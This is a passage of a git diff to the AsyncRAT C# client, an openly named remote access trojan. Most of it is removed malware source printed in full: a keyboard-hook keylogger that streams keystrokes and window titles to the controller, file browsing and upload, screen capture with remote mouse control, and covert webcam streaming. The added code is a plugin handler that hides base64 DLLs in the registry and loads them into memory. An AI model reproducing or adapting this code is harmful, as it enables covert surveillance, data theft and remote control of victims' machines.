msgpack.ForcePathObject("Command").AsString = "getPath"; - StringBuilder sbFolder = new StringBuilder(); - StringBuilder sbFile = new StringBuilder(); - - if (path == "DESKTOP") path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); - if (path == "APPDATA") path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile), "AppData"); - if (path == "USER") path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile); - - foreach (string folder in Directory.GetDirectories(path)) - { - sbFolder.Append(Path.GetFileName(folder) + "-=>" + Path.GetFullPath(folder) + "-=>"); - } - foreach (string file in Directory.GetFiles(path)) - { - using (MemoryStream ms = new MemoryStream()) - { - GetIcon(file.ToLower()).Save(ms, ImageFormat.Png); - sbFile.Append(Path.GetFileName(file) + "-=>" + Path.GetFullPath(file) + "-=>" + Convert.ToBase64String(ms.ToArray()) + "-=>" + new FileInfo(file).Length.ToString() + "-=>"); - } - } - msgpack.ForcePathObject("Folder").AsString = sbFolder.ToString(); - msgpack.ForcePathObject("File").AsString = sbFile.ToString(); - msgpack.ForcePathObject("CurrentPath").AsString = path.ToString(); - ClientSocket.Send(msgpack.Encode2Bytes()); - } - catch (Exception ex) - { - Debug.WriteLine(ex.Message); - Error(ex.Message); - } - } - - private Bitmap GetIcon(string file) - { - try - { - if (file.EndsWith("jpg") || file.EndsWith("jpeg") || file.EndsWith("gif") || file.EndsWith("png") || file.EndsWith("bmp")) - { - using (Bitmap myBitmap = new Bitmap(file)) - { - return new Bitmap(myBitmap.GetThumbnailImage(48, 48, new Image.GetThumbnailImageAbort(() => false), IntPtr.Zero)); - } - } - else - using (Icon icon = Icon.ExtractAssociatedIcon(file)) - { - return icon.ToBitmap(); - } - } - catch - { - return new Bitmap(48, 48); - } - } - - public void DownnloadFile(string file, string dwid) - { - TempSocket tempSocket = new TempSocket(); - - try - { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "socketDownload"; - msgpack.ForcePathObject("Command").AsString = "pre"; - msgpack.ForcePathObject("DWID").AsString = dwid; - msgpack.ForcePathObject("File").AsString = file; - msgpack.ForcePathObject("Size").AsString = new FileInfo(file).Length.ToString(); - tempSocket.Send(msgpack.Encode2Bytes()); - - - MsgPack msgpack2 = new MsgPack(); - msgpack2.ForcePathObject("Packet").AsString = "socketDownload"; - msgpack2.ForcePathObject("Command").AsString = "save"; - msgpack2.ForcePathObject("DWID").AsString = dwid; - msgpack2.ForcePathObject("Name").AsString = Path.GetFileName(file); - msgpack2.ForcePathObject("File").LoadFileAsBytes(file); - tempSocket.Send(msgpack2.Encode2Bytes()); - tempSocket.Dispose(); - } - catch - { - tempSocket?.Dispose(); - return; - } - } - - //private void ChunkSend(byte[] msg, Socket client, SslStream ssl) - //{ - // try - // { - // byte[] buffersize = BitConverter.GetBytes(msg.Length); - // client.Poll(-1, SelectMode.SelectWrite); - // ssl.Write(buffersize); - // ssl.Flush(); - - // int chunkSize = 50 * 1024; - // byte[] chunk = new byte[chunkSize]; - // using (MemoryStream buffereReader = new MemoryStream(msg)) - // { - // BinaryReader binaryReader = new BinaryReader(buffereReader); - // int bytesToRead = (int)buffereReader.Length; - // do - // { - // chunk = binaryReader.ReadBytes(chunkSize); - // bytesToRead -= chunkSize; - // ssl.Write(chunk); - // ssl.Flush(); - // } while (bytesToRead > 0); - - // binaryReader.Dispose(); - // } - // } - // catch { return; } - //} - - public void ReqUpload(string id) - { - try - { - TempSocket tempSocket = new TempSocket(); - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "fileManager"; - msgpack.ForcePathObject("Command").AsString = "reqUploadFile"; - msgpack.ForcePathObject("ID").AsString = id; - tempSocket.Send(msgpack.Encode2Bytes()); - } - catch { return; } - } - - public void Error(string ex) - { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "fileManager"; - msgpack.ForcePathObject("Command").AsString = "error"; - msgpack.ForcePathObject("Message").AsString = ex; - ClientSocket.Send(msgpack.Encode2Bytes()); - } - } -} diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs b/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs deleted file mode 100644 index 361502e..0000000 --- a/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs +++ /dev/null @@ -1,200 +0,0 @@ -using System; -using System.Diagnostics; -using System.IO; -using System.Runtime.InteropServices; -using System.Text; -using System.Windows.Forms; -using Client.MessagePack; -using System.Threading; -using Client.Connection; - -namespace Client.Handle_Packet -{ - // │ Author : NYAN CAT - // │ Name : LimeLogger v0.1 - // │ Contact : https://github.com/NYAN-x-CAT - - // This program is distributed for educational purposes only. - - public static class HandleLimeLogger - { - public static bool isON = false; - public static void Run() - { - _hookID = SetHook(_proc); - new Thread(() => - { - while (ClientSocket.IsConnected) - { - Thread.Sleep(10); - if (isON == false) - { - break; - } - } - UnhookWindowsHookEx(_hookID); - CurrentActiveWindowTitle = ""; - Application.Exit(); - }).Start(); - Application.Run(); - } - - private static IntPtr SetHook(LowLevelKeyboardProc proc) - { - using (Process curProcess = Process.GetCurrentProcess()) - using (ProcessModule curModule = curProcess.MainModule) - { - return SetWindowsHookEx(WHKEYBOARDLL, proc, - GetModuleHandle(curModule.ModuleName), 0); - } - } - - private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) - { - try - { - if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) - { - int vkCode = Marshal.ReadInt32(lParam); - bool capsLock = (GetKeyState(0x14) & 0xffff) != 0; - bool shiftPress = (GetKeyState(0xA0) & 0x8000) != 0 || (GetKeyState(0xA1) & 0x8000) != 0; - string currentKey = KeyboardLayout((uint)vkCode); - - if (capsLock || shiftPress) - { - currentKey = currentKey.ToUpper(); - } - else - { - currentKey = currentKey.ToLower(); - } - - if ((Keys)vkCode >= Keys.F1 && (Keys)vkCode <= Keys.F24) - currentKey = "[" + (Keys)vkCode + "]"; - - else - { - switch (((Keys)vkCode).ToString()) - { - case "Space": - currentKey = " "; - break; - case "Return": - currentKey = "[ENTER]\n"; - break; - case "Escape": - currentKey = ""; - break; - case "Back": - currentKey = "[Back]"; - break; - case "Tab": - currentKey = "[Tab]\n"; - break; - } - } - - StringBuilder sb = new StringBuilder(); - if (CurrentActiveWindowTitle == GetActiveWindowTitle()) - { - sb.Append(currentKey); - } - else - { - sb.Append(Environment.NewLine); - sb.Append(Environment.NewLine); - sb.Append($"### {GetActiveWindowTitle()} ###"); - sb.Append(Environment.NewLine); - sb.Append(currentKey); - } - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "keyLogger"; - msgpack.ForcePathObject("log").AsString = sb.ToString(); - ClientSocket.Send(msgpack.Encode2Bytes()); - } - return CallNextHookEx(_hookID, nCode, wParam, lParam); - } - catch - { - return IntPtr.Zero; - } - } - - private static string KeyboardLayout(uint vkCode) - { - try - { - StringBuilder sb = new StringBuilder(); - byte[] vkBuffer = new byte[256]; - if (!GetKeyboardState(vkBuffer)) return ""; - uint scanCode = MapVirtualKey(vkCode, 0); - IntPtr keyboardLayout = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), out uint processId)); - ToUnicodeEx(vkCode, scanCode, vkBuffer, sb, 5, 0, keyboardLayout); - return sb.ToString(); - } - catch { } - return ((Keys)vkCode).ToString(); - } - - private static string GetActiveWindowTitle() - { - try - { - IntPtr hwnd = GetForegroundWindow(); - GetWindowThreadProcessId(hwnd, out uint pid); - Process p = Process.GetProcessById((int)pid); - string title = p.MainWindowTitle; - if (string.IsNullOrWhiteSpace(title)) - title = p.ProcessName; - CurrentActiveWindowTitle = title; - return title; - } - catch (Exception) - { - return "???"; - } - } - - #region "Hooks & Native Methods" - - private const int WM_KEYDOWN = 0x0100; - private static readonly LowLevelKeyboardProc _proc = HookCallback; - private static IntPtr _hookID = IntPtr.Zero; - private static readonly int WHKEYBOARDLL = 13; - private static string CurrentActiveWindowTitle; - - - private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId); - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - [return: MarshalAs(UnmanagedType.Bool)] - private static extern bool UnhookWindowsHookEx(IntPtr hhk); - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); - [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern IntPtr GetModuleHandle(string lpModuleName); - - [DllImport("user32.dll")] - static extern IntPtr GetForegroundWindow(); - - [DllImport("user32.dll", SetLastError = true)] - static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId); - - [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true, CallingConvention = CallingConvention.Winapi)] - public static extern short GetKeyState(int keyCode); - - [DllImport("user32.dll", SetLastError = true)] - [return: MarshalAs(UnmanagedType.Bool)] - static extern bool GetKeyboardState(byte[] lpKeyState); - [DllImport("user32.dll")] - static extern IntPtr GetKeyboardLayout(uint idThread); - [DllImport("user32.dll")] - static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl); - [DllImport("user32.dll")] - static extern uint MapVirtualKey(uint uCode, uint uMapType); - - #endregion - - } -} diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs b/AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs new file mode 100644 index 0000000..76ed17e --- /dev/null +++ b/AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs @@ -0,0 +1,85 @@ +using Client.Connection; +using Client.Helper; +using Client.MessagePack; +using Microsoft.VisualBasic; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Reflection; +using System.Text; +using System.Threading; + +namespace Client.Handle_Packet +{ + public class HandlePlugin + { + public HandlePlugin(MsgPack unpack_msgpack) + { + switch (unpack_msgpack.ForcePathObject("Command").AsString) + { + case "invoke": + { + string hash = unpack_msgpack.ForcePathObject("Hash").AsString; + if (RegistryDB.GetValue(hash) != null) + { + Debug.WriteLine("Found: " + hash); + Invoke(hash); + } + else + { + Debug.WriteLine("Not Found: " + hash); + Request(unpack_msgpack.ForcePathObject("Hash").AsString); ; + } + break; + } + + case "install": + { + string hash = unpack_msgpack.ForcePathObject("Hash").AsString; + RegistryDB.SetValue(hash, unpack_msgpack.ForcePathObject("Dll").AsString); + Invoke(hash); + Debug.WriteLine("Installed: " + hash); + break; + } + } + + } + + public void Request(string hash) + { + MsgPack msgPack = new MsgPack(); + msgPack.ForcePathObject("Packet").AsString = "plugin"; + msgPack.ForcePathObject("Hash").AsString = hash; + ClientSocket.Send(msgPack.Encode2Bytes()); + } + + public void Invoke(string hash) + { + new Thread(delegate () + { + try + { + MsgPack msgPack = new MsgPack(); +#if DEBUG + msgPack.ForcePathObject("Certificate").AsString = Settings.Certificate; +#else + msgPack.ForcePathObject("Certificate").AsString = Settings.aes256.Decrypt(Settings.Certificate); +#endif + msgPack.ForcePathObject("Host").AsString = ClientSocket.TcpClient.RemoteEndPoint.ToString().Split(':')[0]; + msgPack.ForcePathObject("Port").AsString = ClientSocket.TcpClient.RemoteEndPoint.ToString().Split(':')[1]; + + Assembly loader = Assembly.Load(Convert.FromBase64String(Strings.StrReverse(RegistryDB.GetValue(hash)))); + MethodInfo meth = loader.GetType("Plugin.Plugin").GetMethod("Initialize"); + Debug.WriteLine("Invoked"); + meth.Invoke(null, new object[] { msgPack.Encode2Bytes() }); + } + catch (Exception ex) + { + Packet.Error(ex.Message); + } + }) + { IsBackground = true }.Start(); + } + } +} diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs b/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs deleted file mode 100644 index 42f8415..0000000 --- a/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs +++ /dev/null @@ -1,116 +0,0 @@ -using System; -using System.IO; -using System.Threading; -using System.Drawing.Imaging; -using System.Drawing; -using System.Windows.Forms; -using System.Runtime.InteropServices; -using Client.MessagePack; -using Client.Connection; -using Client.StreamLibrary.UnsafeCodecs; -using Client.Helper; -using Client.StreamLibrary; - -namespace Client.Handle_Packet -{ - public class HandleRemoteDesktop - { - public HandleRemoteDesktop(MsgPack unpack_msgpack) - { - try - { - switch (unpack_msgpack.ForcePathObject("Option").AsString) - { - case "capture": - { - CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Screen").AsInteger)); - break; - } - - case "mouseClick": - { - Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger); - Cursor.Position = position; - mouse_event((Int32)unpack_msgpack.ForcePathObject("Button").AsInteger, 0, 0, 0, 1); - break; - } - - case "mouseMove": - { - Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger); - Cursor.Position = position; - break; - } - } - } - catch { } - } - public void CaptureAndSend(int quality, int Scrn) - { - TempSocket tempSocket = new TempSocket(); - string hwid = Methods.HWID(); - Bitmap bmp = null; - BitmapData bmpData = null; - Rectangle rect; - Size size; - MsgPack msgpack; - IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality); - MemoryStream stream; - while (tempSocket.IsConnected && ClientSocket.IsConnected) - { - try - { - bmp = GetScreen(Scrn); - rect = new Rectangle(0, 0, bmp.Width, bmp.Height); - size = new Size(bmp.Width, bmp.Height); - bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat); - - using (stream = new MemoryStream()) - { - unsafeCodec.CodeImage(bmpData.Scan0, new Rectangle(0, 0, bmpData.Width, bmpData.Height), new Size(bmpData.Width, bmpData.Height), bmpData.PixelFormat, stream); - - if (stream.Length > 0) - { - msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; - msgpack.ForcePathObject("ID").AsString = hwid; - msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray()); - msgpack.ForcePathObject("Screens").AsInteger = Convert.ToInt32(System.Windows.Forms.Screen.AllScreens.Length); - tempSocket.SslClient.Write(BitConverter.GetBytes(msgpack.Encode2Bytes().Length)); - tempSocket.SslClient.Write(msgpack.Encode2Bytes()); - tempSocket.SslClient.Flush(); - } - } - bmp.UnlockBits(bmpData); - bmp.Dispose(); - } - catch { break; } - } - try - { - bmp?.UnlockBits(bmpData); - bmp?.Dispose(); - tempSocket?.Dispose(); - } - catch { } - } - - private Bitmap GetScreen(int Scrn) - { - Rectangle rect = Screen.AllScreens[Scrn].Bounds; - try - { - Bitmap bmpScreenshot = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppArgb); - using (Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot)) - { - gfxScreenshot.CopyFromScreen(rect.Left, rect.Top, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy); - return bmpScreenshot; - } - } - catch { return new Bitmap(rect.Width, rect.Height); } - } - - [DllImport("user32.dll")] - static extern void mouse_event(int dwFlags, int dx, int dy, uint dwData, int dwExtraInfo); - } -} diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs b/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs index eaaf25d..242eb0f 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs @@ -35,6 +35,13 @@ namespace Client.Handle_Packet } catch { } } + + try + { + RegistryDB.DeleteSubKey(); + } + catch { } + ProcessStartInfo Del = null; try { diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleWebcam.cs b/AsyncRAT-C#/Client/Handle Packet/HandleWebcam.cs deleted file mode 100644 index 04c6903..0000000 --- a/AsyncRAT-C#/Client/Handle Packet/HandleWebcam.cs +++ /dev/null @@ -1,213 +0,0 @@ -using AForge.Video; -using AForge.Video.DirectShow; -using Client.Connection; -using Client.Helper; -using Client.MessagePack; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Linq; -using System.Text; -using System.Threading; - -namespace Client.Handle_Packet -{ - public static class HandleWebcam - { - public static bool IsOn = false; - public static VideoCaptureDevice FinalVideo; - public static string HWID = Methods.HWID(); - private static MemoryStream Camstream = new MemoryStream(); - private static TempSocket TempSocket = null; - private static int Quality = 50; - - public static void Run(MsgPack unpack_msgpack) - { - try - { - switch (unpack_msgpack.ForcePathObject("Packet").AsString) - { - case "webcam": - { - switch (unpack_msgpack.ForcePathObject("Command").AsString) - { - case "getWebcams": - { - TempSocket?.Dispose(); - TempSocket = new TempSocket(); - if (TempSocket.IsConnected) - { - GetWebcams(); - } - else - { - new Thread(() => - { - try - { - TempSocket.Dispose(); - CaptureDispose(); - } - catch { } - }).Start(); - } - break; - } - - case "capture": - { - if (IsOn == true) return; - if (TempSocket.IsConnected) - { - IsOn = true; - FilterInfoCollection videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice); - FinalVideo = new VideoCaptureDevice(videoCaptureDevices[0].MonikerString); - Quality = (int)unpack_msgpack.ForcePathObject("Quality").AsInteger; - FinalVideo.NewFrame += CaptureRun; - FinalVideo.VideoResolution = FinalVideo.VideoCapabilities[unpack_msgpack.ForcePathObject("List").AsInteger]; - FinalVideo.Start(); - } - else - { - new Thread(() => - { - try - { - CaptureDispose(); - TempSocket.Dispose(); - } - catch { } - }).Start(); - } - break; - } - - case "stop": - { - new Thread(() => - { - try - { - CaptureDispose(); - } - catch { } - }).Start(); - break; - } - } - break; - } - } - } - catch (Exception ex) - { - Debug.WriteLine("Webcam switch" + ex.Message); - } - } - - private static void CaptureRun(object sender, NewFrameEventArgs e) - { - try - { - if (TempSocket.IsConnected) - { - if (IsOn == true) - { - Bitmap image = (Bitmap)e.Frame.Clone(); - using (Camstream = new MemoryStream()) - { - System.Drawing.Imaging.Encoder myEncoder = System.Drawing.Imaging.Encoder.Quality; - EncoderParameters myEncoderParameters = new EncoderParameters(1); - EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, Quality); - myEncoderParameters.Param[0] = myEncoderParameter; - ImageCodecInfo jpgEncoder = Methods.GetEncoder(ImageFormat.Jpeg); - image.Save(Camstream, jpgEncoder, myEncoderParameters); - myEncoderParameters?.Dispose(); - myEncoderParameter?.Dispose(); - image?.Dispose(); - - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "webcam"; - msgpack.ForcePathObject("ID").AsString = HWID; - msgpack.ForcePathObject("Command").AsString = "capture"; - msgpack.ForcePathObject("Image").SetAsBytes(Camstream.ToArray()); - TempSocket.Send(msgpack.Encode2Bytes()); - } - } - } - else - { - new Thread(() => - { - try - { - CaptureDispose(); - TempSocket.Dispose(); - } - catch { } - }).Start(); - } - } - catch (Exception ex) - { - new Thread(() => - { - try - { - CaptureDispose(); - TempSocket.Dispose(); - } - catch { } - }).Start(); - Debug.WriteLine("CaptureRun: " + ex.Message); - } - } - - private static void GetWebcams() - { - try - { - StringBuilder deviceInfo = new StringBuilder(); - FilterInfoCollection videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice); - foreach (FilterInfo videoCaptureDevice in videoCaptureDevices) - { - deviceInfo.Append(videoCaptureDevice.Name + "-=>"); - VideoCaptureDevice device = new VideoCaptureDevice(videoCaptureDevice.MonikerString); - Debug.WriteLine(videoCaptureDevice.Name); - } - MsgPack msgpack = new MsgPack(); - if (deviceInfo.Length > 0) - { - msgpack.ForcePathObject("Packet").AsString = "webcam"; - msgpack.ForcePathObject("Command").AsString = "getWebcams"; - msgpack.ForcePathObject("ID").AsString = HWID; - msgpack.ForcePathObject("List").AsString = deviceInfo.ToString(); - } - else - { - msgpack.ForcePathObject("Packet").AsString = "webcam"; - msgpack.ForcePathObject("Command").AsString = "getWebcams"; - msgpack.ForcePathObject("ID").AsString = HWID; - msgpack.ForcePathObject("List").AsString = "None"; - } - TempSocket.Send(msgpack.Encode2Bytes()); - } - catch { } - } - - private static void CaptureDispose() - { - try - { - IsOn = false; - FinalVideo.Stop(); - FinalVideo.NewFrame -= CaptureRun; - Camstream?.Dispose(); - } - catch { } - } - } -} diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlerChat.cs b/AsyncRAT-C#/Client/Handle Packet/HandlerChat.cs deleted file mode 100644 index 1220a37..0000000 --- a/AsyncRAT-C#/Client/Handle Packet/HandlerChat.cs +++ /dev/null @@ -1,47 +0,0 @@ -using Client.Helper; -using Client.MessagePack; -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace Client.Handle_Packet -{ - public class HandlerChat - { - - public void CreateChat() - { - new Thread(() => - { - Packet.GetFormChat = new FormChat(); - Packet.GetFormChat.ShowDialog(); - }).Start(); - } - public void WriteInput(MsgPack unpack_msgpack) - { - if (Packet.GetFormChat.InvokeRequired) - { - Packet.GetFormChat.Invoke((MethodInvoker)(() => - { - Console.Beep(); - Packet.GetFormChat.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("Input").AsString + Environment.NewLine); - })); - } - } - - public void ExitChat() - { - if (Packet.GetFormChat.InvokeRequired) - { - Packet.GetFormChat.Invoke((MethodInvoker)(() => - { - Packet.GetFormChat.Close(); - Packet.GetFormChat.Dispose(); - })); - } - } - } -} diff --git a/AsyncRAT-C#/Client/Handle Packet/Packet.cs b/AsyncRAT-C#/Client/Handle Packet/Packet.cs index ccc1682..c17a50a 100644 --- a/AsyncRAT-C#/Client/Handle Packet/Packet.cs +++ b/AsyncRAT-C#/Client/Handle Packet/Packet.cs @@ -17,7 +17,6 @@ namespace Client.Handle_Packet { public static CancellationTokenSource ctsDos; public static CancellationTokenSource ctsReportWindow; - public static FormChat GetFormChat; public static string FileCopy = null; public static void Read(object data) @@ -100,54 +99,24 @@ namespace Client.Handle_Packet break; } - case "usbSpread": + case "usb": { new HandleLimeUSB(unpack_msgpack); break; } - case "remoteDesktop": - { - new HandleRemoteDesktop(unpack_msgpack); - break; - } - case "processManager": { new HandleProcessManager(unpack_msgpack); } break; - case "fileManager": - { - new FileManager(unpack_msgpack); - } - break; - case "botKiller": { new HandleBotKiller().RunBotKiller(); break; } - case "keyLogger": - { - string isON = unpack_msgpack.ForcePathObject("isON").AsString; - if (isON == "true") - { - new Thread(() => - { - HandleLimeLogger.isON = true; - HandleLimeLogger.Run(); - }).Start(); - } - else - { - HandleLimeLogger.isON = false; - } - break; - } - case "visitURL": { string url = unpack_msgpack.ForcePathObject("URL").AsString; @@ -191,24 +160,6 @@ namespace Client.Handle_Packet break; } - case "chat": - { - new HandlerChat().CreateChat(); - break; - } - - case "chatWriteInput": - { - new HandlerChat().WriteInput(unpack_msgpack); - break; - } - - case "chatExit": - { - new HandlerChat().ExitChat(); - break; - } - case "pcOptions": { new HandlePcOptions(unpack_msgpack.ForcePathObject("Option").AsString); @@ -240,13 +191,12 @@ namespace Client.Handle_Packet break; } - case "webcam": + case "plugin": { - HandleWebcam.Run(unpack_msgpack); + new HandlePlugin(unpack_msgpack); break; } - //case "netStat": // { // HandleNetStat.RunNetStat(); diff --git a/AsyncRAT-C#/Client/Helper/FormChat.Designer.cs b/AsyncRAT-C#/Client/Helper/FormChat.Designer.cs deleted file mode 100644 index 13dddcb..0000000 --- a/AsyncRAT-C#/Client/Helper/FormChat.Designer.cs +++ /dev/null @@ -1,93 +0,0 @@ -namespace Client.Helper -{ - partial class FormChat - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.components = new System.ComponentModel.Container(); - this.textBox1 = new System.Windows.Forms.TextBox(); - this.richTextBox1 = new System.Windows.Forms.RichTextBox(); - this.timer1 = new System.Windows.Forms.Timer(this.components); - this.SuspendLayout(); - // - // textBox1 - // - this.textBox1.Dock = System.Windows.Forms.DockStyle.Bottom; - this.textBox1.Location = new System.Drawing.Point(0, 384); - this.textBox1.Name = "textBox1"; - this.textBox1.Size = new System.Drawing.Size(757, 26); - this.textBox1.TabIndex = 3; - this.textBox1.KeyDown += new System.Windows.Forms.KeyEventHandler(this.TextBox1_KeyDown); - // - // richTextBox1 - // - this.richTextBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.richTextBox1.BackColor = System.Drawing.SystemColors.Window; - this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.richTextBox1.Location = new System.Drawing.Point(12, 12); - this.richTextBox1.Name = "richTextBox1"; - this.richTextBox1.ReadOnly = true; - this.richTextBox1.Size = new System.Drawing.Size(733, 351); - this.richTextBox1.TabIndex = 2; - this.richTextBox1.Text = ""; - // - // timer1 - // - this.timer1.Enabled = true; - this.timer1.Interval = 1000; - this.timer1.Tick += new System.EventHandler(this.Timer1_Tick); - // - // FormChat - // - this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.BackColor = System.Drawing.SystemColors.Window; - this.ClientSize = new System.Drawing.Size(757, 410); - this.ControlBox = false; - this.Controls.Add(this.textBox1); - this.Controls.Add(this.richTextBox1); - this.Name = "FormChat"; - this.ShowIcon = false; - this.ShowInTaskbar = false; - this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; - this.Text = "AysncRAT | Chat"; - this.TopMost = true; - this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FormChat_FormClosing); - this.ResumeLayout(false); - this.PerformLayout(); - - } - - #endregion - - private System.Windows.Forms.TextBox textBox1; - public System.Windows.Forms.RichTextBox richTextBox1; - private System.Windows.Forms.Timer timer1; - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Helper/FormChat.cs b/AsyncRAT-C#/Client/Helper/FormChat.cs deleted file mode 100644 index 9a68e21..0000000 --- a/AsyncRAT-C#/Client/Helper/FormChat.cs +++ /dev/null @@ -1,45 +0,0 @@ -using Client.Handle_Packet; -using Client.MessagePack; -using Client.Connection; -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Windows.Forms; - -namespace Client.Helper -{ - public partial class FormChat : Form - { - public FormChat() - { - InitializeComponent(); - } - - private void TextBox1_KeyDown(object sender, KeyEventArgs e) - { - if (e.KeyData == Keys.Enter && !string.IsNullOrWhiteSpace(textBox1.Text)) - { - richTextBox1.AppendText("Me: " + textBox1.Text + Environment.NewLine); - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "chat"; - msgpack.ForcePathObject("WriteInput").AsString = Environment.UserName + ": " + textBox1.Text + Environment.NewLine; - ClientSocket.Send(msgpack.Encode2Bytes()); - textBox1.Clear(); - } - } - - private void FormChat_FormClosing(object sender, FormClosingEventArgs e) - { - e.Cancel = true; - } - - private void Timer1_Tick(object sender, EventArgs e) - { - if (!ClientSocket.IsConnected) Packet.GetFormChat.Dispose(); - } - } -} diff --git a/AsyncRAT-C#/Client/Helper/FormChat.resx b/AsyncRAT-C#/Client/Helper/FormChat.resx deleted file mode 100644 index 1f666f2..0000000 --- a/AsyncRAT-C#/Client/Helper/FormChat.resx +++ /dev/null @@ -1,123 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - 17, 17 - - \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Helper/Methods.cs b/AsyncRAT-C#/Client/Helper/Methods.cs index 63a4c18..18ff676 100644 --- a/AsyncRAT-C#/Client/Helper/Methods.cs +++ b/AsyncRAT-C#/Client/Helper/Methods.cs @@ -28,7 +28,7 @@ namespace Client.Helper sb.Append(Environment.MachineName); sb.Append(Environment.OSVersion); sb.Append(new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize); - return GetHash(sb.ToString()); + return GetHash(sb.ToString()).Substring(0, 15).ToUpper(); } public static string GetHash(string strToHash) @@ -39,7 +39,7 @@ namespace Client.Helper StringBuilder strResult = new StringBuilder(); foreach (byte b in bytesToHash) strResult.Append(b.ToString("x2")); - return strResult.ToString().Substring(0, 15).ToUpper(); + return strResult.ToString(); } private static Mutex _appMutex; diff --git a/AsyncRAT-C#/Client/Helper/RegistryDB.cs b/AsyncRAT-C#/Client/Helper/RegistryDB.cs new file mode 100644 index 